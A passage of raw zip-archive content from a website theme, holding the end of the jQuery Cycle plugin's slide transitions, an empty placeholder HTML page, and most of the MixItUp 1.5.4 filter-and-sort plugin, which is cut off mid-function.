k=0;k<hops;k++){fwd?opts.els.push(opts.els.shift()):opts.els.unshift(opts.els.pop());}if(fwd){for(var i=0,len=opts.els.length;i<len;i++){$(opts.els[i]).css("z-index",len-i+count);}}else{var z=$(curr).css("z-index");$el.css("z-index",parseInt(z)+1+count);}$el.animate({left:0,top:0},opts.speedOut,opts.easeOut,function(){$(fwd?this:curr).hide();if(cb){cb();}});});};opts.cssBefore={display:"block",opacity:1,top:0,left:0};};$.fn.cycle.transitions.turnUp=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=next.cycleH;opts.animIn.height=next.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0,height:0};opts.animIn={top:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnDown=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0,top:0,height:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnLeft=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=next.cycleW;opts.animIn.width=next.cycleW;});opts.cssBefore={top:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.turnRight=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={top:0,left:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.zoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false,true);opts.cssBefore.top=next.cycleH/2;opts.cssBefore.left=next.cycleW/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};opts.animOut={width:0,height:0,top:curr.cycleH/2,left:curr.cycleW/2};});opts.cssFirst={top:0,left:0};opts.cssBefore={width:0,height:0};};$.fn.cycle.transitions.fadeZoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false);opts.cssBefore.left=next.cycleW/2;opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};});opts.cssBefore={width:0,height:0};opts.animOut={opacity:0};};$.fn.cycle.transitions.blindX=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.blindY=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.blindZ=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();var w=$cont.width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:w};opts.animIn={top:0,left:0};opts.animOut={top:h,left:w};};$.fn.cycle.transitions.growX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=this.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:0};});opts.cssBefore={width:0,top:0};};$.fn.cycle.transitions.growY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=this.cycleH/2;opts.animIn={top:0,height:this.cycleH};opts.animOut={top:0};});opts.cssBefore={height:0,left:0};};$.fn.cycle.transitions.curtainX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true,true);opts.cssBefore.left=next.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:curr.cycleW/2,width:0};});opts.cssBefore={top:0,width:0};};$.fn.cycle.transitions.curtainY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false,true);opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,height:next.cycleH};opts.animOut={top:curr.cycleH/2,height:0};});opts.cssBefore={left:0,height:0};};$.fn.cycle.transitions.cover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);if(d=="right"){opts.cssBefore.left=-w;}else{if(d=="up"){opts.cssBefore.top=h;}else{if(d=="down"){opts.cssBefore.top=-h;}else{opts.cssBefore.left=w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.uncover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(d=="right"){opts.animOut.left=w;}else{if(d=="up"){opts.animOut.top=-h;}else{if(d=="down"){opts.animOut.top=h;}else{opts.animOut.left=-w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.toss=function($cont,$slides,opts){var w=$cont.css("overflow","visible").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(!opts.animOut.left&&!opts.animOut.top){opts.animOut={left:w*2,top:-h/2,opacity:0};}else{opts.animOut.opacity=0;}});opts.cssBefore={left:0,top:0};opts.animIn={left:0};};$.fn.cycle.transitions.wipe=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.cssBefore=opts.cssBefore||{};var clip;if(opts.clip){if(/l2r/.test(opts.clip)){clip="rect(0px 0px "+h+"px 0px)";}else{if(/r2l/.test(opts.clip)){clip="rect(0px "+w+"px "+h+"px "+w+"px)";}else{if(/t2b/.test(opts.clip)){clip="rect(0px "+w+"px 0px 0px)";}else{if(/b2t/.test(opts.clip)){clip="rect("+h+"px "+w+"px "+h+"px 0px)";}else{if(/zoom/.test(opts.clip)){var top=parseInt(h/2);var left=parseInt(w/2);clip="rect("+top+"px "+left+"px "+top+"px "+left+"px)";}}}}}}opts.cssBefore.clip=opts.cssBefore.clip||clip||"rect(0px 0px 0px 0px)";var d=opts.cssBefore.clip.match(/(\d+)/g);var t=parseInt(d[0]),r=parseInt(d[1]),b=parseInt(d[2]),l=parseInt(d[3]);opts.before.push(function(curr,next,opts){if(curr==next){return;}var $curr=$(curr),$next=$(next);$.fn.cycle.commonReset(curr,next,opts,true,true,false);opts.cssAfter.display="block";var step=1,count=parseInt((opts.speedIn/13))-1;(function f(){var tt=t?t-parseInt(step*(t/count)):0;var ll=l?l-parseInt(step*(l/count)):0;var bb=b<h?b+parseInt(step*((h-b)/count||1)):h;var rr=r<w?r+parseInt(step*((w-r)/count||1)):w;$next.css({clip:"rect("+tt+"px "+rr+"px "+bb+"px "+ll+"px)"});(step++<=count)?setTimeout(f,13):$curr.css("display","none");})();});opts.cssBefore={display:"block",opacity:1,top:0,left:0};opts.animIn={left:0};opts.animOut={left:0};};})(jQuery);PK!.���99bluetheme/assets/js/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!���b��%bluetheme/assets/js/jquery.mixitup.jsnu&1i�/*
* MIXITUP - A CSS3 and JQuery Filter & Sort Plugin
* Version: 1.5.4
* License: Creative Commons Attribution-NoDerivs 3.0 Unported - CC BY-ND 3.0
* http://creativecommons.org/licenses/by-nd/3.0/
* This software may be used freely on commercial and non-commercial projects with attribution to the author/copyright holder.
* Author: Patrick Kunka
* Copyright 2012-2013 Patrick Kunka, Barrel LLC, All Rights Reserved
* 
* http://mixitup.io
*/

(function($){
	
	// DECLARE METHODS
 
	var methods = {

		// "INIT" METHOD
	
	    init: function(settings){

			return this.each(function(){
				
				// BUILD CONFIG OBJECT

				var config = {
					
					// PUBLIC PROPERTIES
					
					targetSelector : '.mix',
					filterSelector : '.filter',
					sortSelector : '.sort',
					buttonEvent: 'click',
					effects : ['fade', 'scale'],
					listEffects : null,
					easing : 'smooth',
					layoutMode: 'grid',
					targetDisplayGrid : 'inline-block',
					targetDisplayList: 'block',
					listClass : '',
					gridClass : '',
					transitionSpeed : 600,
					showOnLoad : 'all',
					sortOnLoad : false,
					multiFilter : false,
					filterLogic : 'or',
					resizeContainer : true,
					minHeight : 0,
					failClass : 'fail',
					perspectiveDistance : '3000',
					perspectiveOrigin : '50% 50%',
					animateGridList : true,
					onMixLoad: null,
					onMixStart : null,
					onMixEnd : null,

					// MISC

					container : null,
					origOrder : [],
					startOrder : [],
					newOrder : [],
					origSort: [],
					checkSort: [],
					filter : '',
					mixing : false,
					origDisplay : '',
					origLayout: '',
					origHeight : 0, 
					newHeight : 0,
					isTouch : false,
					resetDelay : 0,
					failsafe : null,

					// CSS
					
					prefix : '',
					easingFallback : 'ease-in-out',
					transition : {}, 
					perspective : {}, 
					clean : {},
					fade : '1',
					scale : '',
					rotateX : '',
					rotateY : '',
					rotateZ : '',
					blur : '',
					grayscale : ''
				};
				
				if(settings){
					$.extend(config, settings);
				};

				// ADD CONFIG OBJECT TO CONTAINER OBJECT PER INSTANTIATION
				
				this.config = config;
				
				// DETECT TOUCH
				
				$.support.touch = 'ontouchend' in document;

				if ($.support.touch) {
					config.isTouch = true;
					config.resetDelay = 350;
				};
				
				// LOCALIZE CONTAINER
	
				config.container = $(this);
				var $cont = config.container;
				
				// GET VENDOR PREFIX
				
				config.prefix = prefix($cont[0]);
				config.prefix = config.prefix ? '-'+config.prefix.toLowerCase()+'-' : '';
				
				// CACHE 'DEFAULT' SORTING ORDER
			
				$cont.find(config.targetSelector).each(function(){
					config.origOrder.push($(this));
				});
				
				// PERFORM SORT ON LOAD 
				
				if(config.sortOnLoad){
					var sortby, order;
					if($.isArray(config.sortOnLoad)){
						sortby = config.sortOnLoad[0], order = config.sortOnLoad[1];
						$(config.sortSelector+'[data-sort='+config.sortOnLoad[0]+'][data-order='+config.sortOnLoad[1]+']').addClass('active');
					} else {
						$(config.sortSelector+'[data-sort='+config.sortOnLoad+']').addClass('active');
						sortby = config.sortOnLoad, config.sortOnLoad = 'desc';
					};
					sort(sortby, order, $cont, config);
				};
				
				// BUILD TRANSITION AND PERSPECTIVE OBJECTS
				
				for(var i = 0; i<2; i++){
					var a = i==0 ? a = config.prefix : '';
					config.transition[a+'transition'] = 'all '+config.transitionSpeed+'ms ease-in-out';
					config.perspective[a+'perspective'] = config.perspectiveDistance+'px';
					config.perspective[a+'perspective-origin'] = config.perspectiveOrigin;
				};
				
				// BUILD TRANSITION CLEANER
				
				for(var i = 0; i<2; i++){
					var a = i==0 ? a = config.prefix : '';
					config.clean[a+'transition'] = 'none';
				};
	
				// CHOOSE GRID OR LIST
	
				if(config.layoutMode == 'list'){
					$cont.addClass(config.listClass);
					config.origDisplay = config.targetDisplayList;
				} else {
					$cont.addClass(config.gridClass);
					config.origDisplay = config.targetDisplayGrid;
				};
				config.origLayout = config.layoutMode;
				
				// PARSE 'SHOWONLOAD'
				
				var showOnLoadArray = config.showOnLoad.split(' ');
				
				// GIVE ACTIVE FILTER ACTIVE CLASS
				
				$.each(showOnLoadArray, function(){
					$(config.filterSelector+'[data-filter="'+this+'"]').addClass('active');
				});
				
				// RENAME "ALL" CATEGORY TO "MIX_ALL"
	
				$cont.find(config.targetSelector).addClass('mix_all');
				if(showOnLoadArray[0]  == 'all'){
					showOnLoadArray[0] = 'mix_all',
					config.showOnLoad = 'mix_all';
				};
				
				// FADE IN 'SHOWONLOAD'
				
				var $showOnLoad = $();
				$.each(showOnLoadArray, function(){
					$showOnLoad = $showOnLoad.add($('.'+this))
				});
				
				$showOnLoad.each(function(){
					var $t = $(this);
					if(config.layoutMode == 'list'){
						$t.css('display',config.targetDisplayList);
					} else {
						$t.css('display',config.targetDisplayGrid);
					};
					$t.css(config.transition);
				});
				
				// WRAP FADE-IN TO PREVENT RACE CONDITION
				
				var delay = setTimeout(function(){
					
					config.mixing = true;
					
					$showOnLoad.css('opacity','1');
					
					// CLEAN UP
					
					var reset = setTimeout(function(){
						if(config.layoutMode == 'list'){
							$showOnLoad.removeStyle(config.prefix+'transition, transition').css({
								display: config.targetDisplayList,
								opacity: 1
							});
						} else {
							$showOnLoad.removeStyle(config.prefix+'transition, transition').css({
								display: config.targetDisplayGrid,
								opacity: 1
							});
						};
						
						// FIRE "ONMIXLOAD" CALLBACK
						
						config.mixing = false;

						if(typeof config.onMixLoad == 'function') {
							var output = config.onMixLoad.call(this, config);

							// UPDATE CONFIG IF DATA RETURNED

							config = output ? output : config;
						};
						
					},config.transitionSpeed);
				},10);
				
				// PRESET ACTIVE FILTER
				
				config.filter = config.showOnLoad;
			
				// BIND SORT CLICK HANDLERS
			
				$(config.sortSelector).bind(config.buttonEvent,function(){
					
					if(!config.mixing){
						
						// PARSE SORT ARGUMENTS FROM BUTTON CLASSES
						
						var $t = $(this),
						sortby = $t.attr('data-sort'),
						order = $t.attr('data-order');
						
						if(!$t.hasClass('active')){
							$(config.sortSelector).removeClass('active');
							$t.addClass('active');
						} else {
							if(sortby != 'random')return false;
						};
						
						$cont.find(config.targetSelector).each(function(){
							config.startOrder.push($(this));
						});
				
						goMix(config.filter,sortby,order,$cont, config);
				
					};
				
				});

				// BIND FILTER CLICK HANDLERS

				$(config.filterSelector).bind(config.buttonEvent,function(){
				
					if(!config.mixing){
						
						var $t = $(this);
						
						// PARSE FILTER ARGUMENTS FROM BUTTON CLASSES
		
						if(config.multiFilter == false){
							
							// SINGLE ACTIVE BUTTON
							
							$(config.filterSelector).removeClass('active');
							$t.addClass('active');
						
							config.filter = $t.attr('data-filter');
						
							$(config.filterSelector+'[data-filter="'+config.filter+'"]').addClass('active');

						} else {
						
							// MULTIPLE ACTIVE BUTTONS
							
							var thisFilter = $t.attr('data-filter'); 
						
							if($t.hasClass('active')){
								$t.removeClass('active');
								
								// REMOVE FILTER FROM SPACE-SEPERATED STRING
								
								var re = new RegExp('(\\s|^)'+thisFilter);
								config.filter = config.filter.replace(re,'');
							} else {
								
								// ADD FILTER TO SPACE-SEPERATED STRING
								
								$t.addClass('active');
								config.filter = config.filter+' '+thisFilter;
								
							};
						};
						
						// GO MIX
						
						goMix(config.filter, null, null, $cont, config);

					};
				
				});
					
			});
		},
	
		// "TOGRID" METHOD
	
		toGrid: function(){
			return this.each(function(){
				var config = this.config;
				if(config.layoutMode != 'grid'){
					config.layoutMode = 'grid';
					goMix(config.filter, null, null, $(this), config);
				};
			});
		},
	
		// "TOLIST" METHOD
	
		toList: function(){
			return this.each(function(){
				var config = this.config;
				if(config.layoutMode != 'list'){
					config.layoutMode = 'list';
					goMix(config.filter, null, null, $(this), config);
				};
			});
		},
	
		// "FILTER" METHOD
	
		filter: function(arg){
			return this.each(function(){
				var config = this.config;
				if(!config.mixing){	
					$(config.filterSelector).removeClass('active');
					$(config.filterSelector+'[data-filter="'+arg+'"]').addClass('active');
					goMix(arg, null, null, $(this), config);
				};
			});	
		},
	
		// "SORT" METHOD
	
		sort: function(args){
			return this.each(function(){
				var config = this.config,
					$t = $(this);
				if(!config.mixing){
					$(config.sortSelector).removeClass('active');
					if($.isArray(args)){
						var sortby = args[0], order = args[1];
						$(config.sortSelector+'[data-sort="'+args[0]+'"][data-order="'+args[1]+'"]').addClass('active');
					} else {
						$(config.sortSelector+'[data-sort="'+args+'"]').addClass('active');
						var sortby = args, order = 'desc';
					};
					$t.find(config.targetSelector).each(function(){
						config.startOrder.push($(this));
					});
					
					goMix(config.filter,sortby,order, $t, config);
				
				};
			});
		},
		
		// "MULTIMIX" METHOD
		
		multimix: function(args){
			return this.each(function(){
				var config = this.config,
					$t = $(this);
					multiOut = {
						filter: config.filter,
						sort: null,
						order: 'desc',
						layoutMode: config.layoutMode
					};
				$.extend(multiOut, args);
				if(!config.mixing){
					$(config.filterSelector).add(config.sortSelector).removeClass('active');
					$(config.filterSelector+'[data-filter="'+multiOut.filter+'"]').addClass('active');
					if(typeof multiOut.sort !== 'undefined'){
						$(config.sortSelector+'[data-sort="'+multiOut.sort+'"][data-order="'+multiOut.order+'"]').addClass('active');
						$t.find(config.targetSelector).each(function(){
							config.startOrder.push($(this));
						});
					};
					config.layoutMode = multiOut.layoutMode;
					goMix(multiOut.filter,multiOut.sort,multiOut.order, $t, config);
				};
			});
		},
		
		// "REMIX" METHOD

		remix: function(arg){
			return this.each(function(){
				var config = this.config,
					$t = $(this);	
				config.origOrder = [];
				$t.find(config.targetSelector).each(function(){
					var $th = $(this);
					$th.addClass('mix_all'); 
				    config.origOrder.push($th);
				});
				if(!config.mixing && typeof arg !== 'undefined'){
					$(config.filterSelector).removeClass('active');
					$(config.filterSelector+'[data-filter="'+arg+'"]').addClass('active');
					goMix(arg, null, null, $t, config);
				};
			});
		}
	};
	
	// DECLARE PLUGIN

	$.fn.mixitup = function(method, arg){
		if (methods[method]) {
			return methods[method].apply( this, Array.prototype.slice.call(arguments,1));
		} else if (typeof method === 'object' || ! method){
			return methods.init.apply( this, arguments );
		};
	};
	
	/* ==== THE MAGIC ==== */
	
	function goMix(filter, sortby, order, $cont, config){
		
		// WE ARE NOW MIXING

		clearInterval(config.failsafe);
		config.mixing = true;	
		
		// APPLY ARGS TO CONFIG
		
		config.filter = filter;
		
		// FIRE "ONMIXSTART" CALLBACK
		
		if(typeof config.onMixStart == 'function') {
			var output = config.onMixStart.call(this, config);
			
			// UPDATE CONFIG IF DATA RETURNED
			
			config = output ? output : config;
		};
		
		// SHORT LOCAL VARS
		
		var speed = config.transitionSpeed;
		
		// REBUILD TRANSITION AND PERSPECTIVE OBJECTS
		
		for(var i = 0; i<2; i++){
			var a = i==0 ? a = config.prefix : '';
			config.transition[a+'transition'] = 'all '+speed+'ms linear';
			config.transition[a+'transform'] = a+'translate3d(0,0,0)';
			config.perspective[a+'perspective'] = config.perspectiveDistance+'px';
			config.perspective[a+'perspective-origin'] = config.perspectiveOrigin;
		};
		
		// CACHE TARGET ELEMENTS FOR QUICK ACCESS
		
		var mixSelector = config.targetSelector,
		$targets = $cont.find(mixSelector);
		
		// ADD DATA OBJECT TO EACH TARGET
		
		$targets.each(function(){
			this.data = {};
		});
		
		// RE-DEFINE CONTAINER INCASE NOT IMMEDIATE PARENT OF TARGET ELEMENTS 
		
		var $par = $targets.parent();
	
		// ADD PERSPECTIVE TO CONTAINER 
		
		$par.css(config.perspective);
		
		// SETUP EASING

		config.easingFallback = 'ease-in-out';
		if(config.easing == 'smooth')config.easing = 'cubic-bezier(0.25, 0.46, 0.45, 0.94)';
		if(config.easing == 'snap')config.easing = 'cubic-bezier(0.77, 0, 0.175, 1)';
		if(config.easing == 'windback'){
			config.easing = 'cubic-bezier(0.175, 0.885, 0.320, 1.275)',
			config.easingFallback = 'cubic-bezier(0.175, 0.885, 0.320, 1)'; // Fall-back for old webkit, with no values > 1 or < 1
		};
		if(config.easing == 'windup'){
			config.easing = 'cubic-bezier(0.6, -0.28, 0.735, 0.045)',
			config.easingFallback = 'cubic-bezier(0.6, 0.28, 0.735, 0.045)';
		};
		
		// USE LIST SPECIFIC EFFECTS IF DECLARED
		
		var effectsOut = config.layoutMode == 'list' && config.listEffects != null ? config.listEffects : config.effects;
	
		// BUILD EFFECTS STRINGS & SKIP IF IE8
	
		if (Array.prototype.indexOf){
			config.fade = effectsOut.indexOf('fade') > -1 ? '0' : '';
			config.scale = effectsOut.indexOf('scale') > -1 ? 'scale(.01)' : '';
			config.rotateZ = effectsOut.indexOf('rotateZ') > -1 ? 'rotate(180deg)' : '';
			config.rotateY = effectsOut.indexOf('rotateY') > -1 ? 'rotateY(90deg)' : '';
			config.rotateX = effectsOut.indexOf('rotateX') > -1 ? 'rotateX(90deg)' : '';
			config.blur = effectsOut.indexOf('blur') > -1 ? 'blur(8px)' : '';
			config.grayscale = effectsOut.indexOf('grayscale') > -1 ? 'grayscale(100%)' : '';
		};
		
		// DECLARE NEW JQUERY OBJECTS FOR GROUPING
		
		var $show = $(), 
		$hide = $(),
		filterArray = [],
		multiDimensional = false;
		
		// BUILD FILTER ARRAY(S)
		
		if(typeof filter === 'string'){
			
			// SINGLE DIMENSIONAL FILTERING
			
			filterArray = buildFilterArray(filter);
			
		} else {
			
			// MULTI DIMENSIONAL FILTERING
			
			multiDimensional = true;
			
			$.each(filter,function(i){
				filterArray[i] = buildFilterArray(this);
			});
		};

		// "OR" LOGIC (DEFAULT)
		
		if(config.filterLogic == 'or'){
			
			if(filterArray[0] == '') filterArray.shift(); // IF FIRST ITEM IN ARRAY IS AN EMPTY SPACE, DELETE
			
			// IF NO ELEMENTS ARE DESIRED THEN HIDE ALL VISIBLE ELEMENTS
		
			if(filterArray.length < 1){
				
				$hide = $hide.add($cont.find(mixSelector+':visible'));
				
			} else {

			// ELSE CHECK EACH TARGET ELEMENT FOR ANY FILTER CATEGORY:
			
				$targets.each(function(){
					var $t = $(this);
					if(!multiDimensional){
						// IF HAS ANY FILTER, ADD TO "SHOW" OBJECT
						if($t.is('.'+filterArray.join(', .'))){
							$show = $show.add($t);
						// ELSE IF HAS NO FILTERS, ADD TO "HIDE" OBJECT
						} else {
							$hide = $hide.add($t);
						};
					} else {
						
						var pass = 0;
						// FOR EACH DIMENSION
						
						$.each(filterArray,function(i){
							if(this.length){
								if($t.is('.'+this.join(', .'))){
									pass++
								};
							} else if(pass > 0){
								pass++;
							};
						});
						// IF PASSES ALL DIMENSIONS, SHOW
						if(pass == filterArray.length){
							$show = $show.add($t);
						// ELSE HIDE
						} else {
							$hide = $hide.add($t);
						};
					};
				});
			
			};
	
		} else {
			
		// "AND" LOGIC
			
			// ADD "MIX_SHOW" CLASS TO ELEMENTS THAT HAVE ALL FILTERS
			
			$show = $show.add($par.find(mixSelector+'.'+filterArray.join('.')));
			
			// ADD "MIX_HIDE" CLASS TO EVERYTHING ELSE
			
			$hide = $hide.add($par.find(mixSelector+':not(.'+filterArray.join('.')+'):visible'));
		};
		
		// GET TOTAL NUMBER OF ELEMENTS TO SHOW
		
		var total = $show.length;
		
		// DECLARE NEW JQUERY OBJECTS

		var $tohide = $(),
		$toshow = $(),
		$pre = $();
		
		// FOR ELEMENTS TO BE HIDDEN, IF NOT ALREADY HIDDEN THEN ADD TO OBJECTS "TOHIDE" AND "PRE" 
		// TO INDICATE PRE-EXISTING ELEMENTS TO BE HIDDEN
		
		$hide.each(function(){
			var $t = $(this);
			if($t.css('display') != 'none'){
				$tohide = $tohide.add($t);
				$pre = $pre.add($t);
			};
		});
		
		// IF ALL ELEMENTS ARE ALREADY SHOWN AND THERE IS NOTHING TO HIDE, AND NOT PERFORMING A LAYOUT CHANGE OR SORT:
		
		if($show.filter(':visible').length == total && !$tohide.length && !sortby){
			
			if(config.origLayout == config.layoutMode){
				
				// THEN CLEAN UP AND GO HOME

				resetFilter();
				return false;
			} else {
				
				// IF ONLY ONE ITEM AND CHANGING FORM GRID TO LIST, MOST LIKELY POSITION WILL NOT CHANGE SO WE'RE DONE
			
				if($show.length == 1){ 
					
					if(config.layoutMode == 'list'){ 
						$cont.addClass(config.listClass);
						$cont.removeClass(config.gridClass);
						$pre.css('display',config.targetDisplayList);
					} else {
						$cont.addClass(config.gridClass);
						$cont.removeClass(config.listClass);
						$pre.css('display',config.targetDisplayGrid);
					};
					
					// THEN CLEAN UP AND GO HOME

					resetFilter();
					return false;
				}
			};
		};
		
		// GET CONTAINER'S STARTING HEIGHT

		config.origHeight = $par.height();
		
		// IF THERE IS SOMETHING TO BE SHOWN:

		if($show.length){
			
			// REMOVE "FAIL CLASS" FROM CONTAINER IF EXISTS
			
			$cont.removeClass(config.failClass);
			
			
			// FOR ELEMENTS TO BE SHOWN, IF NOT ALREADY SHOWN THEN ADD TO OBJECTS "TOSHOW" ELSE ADD CLASS "MIX_PRE"
			// TO INDICATE PRE-EXISTING ELEMENT

			$show.each(function(){ 
				var $t = $(this);
				if($t.css('display') == 'none'){
					$toshow = $toshow.add($t)
				} else {
					$pre = $pre.add($t);
				};
			});
	
			// IF NON-ANIMATED LAYOUT MODE TRANSITION:
		
			if((config.origLayout != config.layoutMode) && config.animateGridList == false){ 
			
				// ADD NEW DISPLAY TYPES, CLEAN UP AND GO HOME
				
				if(config.layoutMode == 'list'){ 
					$cont.addClass(config.listClass);
					$cont.removeClass(config.gridClass);
					$pre.css('display',config.targetDisplayList);
				} else {
					$cont.addClass(config.gridClass);
					$cont.removeClass(config.listClass);
					$pre.css('display',config.targetDisplayGrid);
				};
				
				resetFilter();
				return false;
			};
			
			// IF IE, FUCK OFF, AND THEN CLEAN UP AND GO HOME
		
			if(!window.atob){
				resetFilter();
				return false;
			};
			
			// OVERRIDE ANY EXISTING TRANSITION TIMING FOR CALCULATIONS
			
			$targets.css(config.clean);
			
			// FOR EACH PRE-EXISTING ELEMENT, ADD STARTING POSITION TO 'ORIGPOS' ARRAY
			
			$pre.each(function(){
				this.data.origPos = $(this).offset();
			});
	
			// TEMPORARILY SHOW ALL ELEMENTS TO SHOW (THAT ARE NOT ALREADY SHOWN), WITHOUT HIDING ELEMENTS TO HIDE
			// AND ADD/REMOVE GRID AND LIST CLASSES FROM CONTAINER
	
			if(config.layoutMode == 'list'){
				$cont.addClass(config.listClass);
				$cont.removeClass(config.gridClass);
				$toshow.css('display',config.targetDisplayList);
			} else {
				$cont.addClass(config.gridClass);
				$cont.removeClass(config.listClass);
				$toshow.css('display',config.targetDisplayGrid);
			};
			
			// FOR EACH ELEMENT NOW SHOWN, ADD ITS INTERMEDIATE POSITION TO 'SHOWINTERPOS' ARRAY
	
			$toshow.each(function(){
				this.data.showInterPos = $(this).offset();
			});
			
			// FOR EACH ELEMENT TO BE HIDDEN, BUT NOT YET HIDDEN, AND NOW MOVED DUE TO SHOWN ELEMENTS,
			// ADD ITS INTERMEDIATE POSITION TO 'HIDEINTERPOS' ARRAY

			$tohide.each(function(){
				this.data.hideInterPos = $(this).offset();
			});
			
			// FOR EACH PRE-EXISTING ELEMENT, NOW MOVED DUE TO SHOWN ELEMENTS, ADD ITS POSITION TO 'PREINTERPOS' ARRAY
	
			$pre.each(function(){
				this.data.preInterPos = $(this).offset();
			});
			
			// SET DISPLAY PROPERTY OF PRE-EXISTING ELEMENTS INCASE WE ARE CHANGING LAYOUT MODE
	
			if(config.layoutMode == 'list'){
				$pre.css('display',config.targetDisplayList);
			} else {
				$pre.css('display',config.targetDisplayGrid);
			};
			
			// IF A SORT ARGUMENT HAS BEEN SENT, RUN SORT FUNCTION SO OBJECTS WILL MOVE TO THEIR FINAL ORDER
			
			if(sortby){
				sort(sortby, order, $cont, config);	
			};
			
			// IF VISIBLE SORT ORDER IS THE SAME (WHICH WOULD NOT TRIGGER A TRANSITION EVENT)
		
			if(sortby && compareArr(config.origSort, config.checkSort)){
				
				// THEN CLEAN UP AND GO HOME
				resetFilter();
				return false;
			};
			
			// TEMPORARILY HIDE ALL SHOWN ELEMENTS TO HIDE

			$tohide.hide();
			
			// FOR EACH ELEMENT TO SHOW, AND NOW MOVED DUE TO HIDDEN ELEMENTS BEING REMOVED, 
			// ADD ITS POSITION TO 'FINALPOS' ARRAY
			
			$toshow.each(function(i){
				this.data.finalPos = $(this).offset();
			});
			
			// FOR EACH PRE-EXISTING ELEMENT NOW MOVED DUE TO HIDDEN ELEMENTS BEING REMOVED,
			// ADD ITS POSITION TO 'FINALPREPOS' ARRAY
	
			$pre.each(function(){
				this.data.finalPrePos = $(this).offset();
			});
			
			// SINCE WE ARE IN OUT FINAL STATE, GET NEW HEIGHT OF CONTAINER
	
			config.newHeight = $par.height();
			
			// IF A SORT ARGUMENT AS BEEN SENT, RUN SORT FUNCTION 'RESET' TO MOVE ELEMENTS BACK TO THEIR STARTING ORDER
			
			if(sortby){
				sort('reset', null, $cont, config);
			};
			
			// RE-HIDE ALL ELEMENTS TEMPORARILY SHOWN
			
			$toshow.hide();
			
			// SET DISPLAY PROPERTY OF PRE-EXISTING ELEMENTS BACK TO THEIR 
			// ORIGINAL PROPERTY, INCASE WE ARE CHANGING LAYOUT MODE
			
			$pre.css('display',config.origDisplay);
			
			// ADD/REMOVE GRID AND LIST CLASSES FROM CONTAINER
	
			if(config.origDisplay == 'block'){
				$cont.addClass(config.listClass);
				$toshow.css('display', config.targetDisplayList);
			} else {
				$cont.removeClass(config.listClass);
				$toshow.css('display', config.targetDisplayGrid);
			};
			
			// IF WE ARE ANIMATING CONTAINER, RESET IT TO ITS STARTING HEIGHT
		
			if(config.resizeContainer)$par.css('height', config.origHeight+'px');
	
			// ADD TRANSFORMS TO ALL ELEMENTS TO SHOW
			
			var toShowCSS = {};
			
			for(var i = 0; i<2; i++){
				var a = i==0 ? a = config.prefix : '';
				toShowCSS[a+'transform'] = config.scale+' '+config.rotateX+' '+config.rotateY+' '+config.rotateZ;
				toShowCSS[a+'filter'] = config.blur+' '+config.grayscale;
			};
			
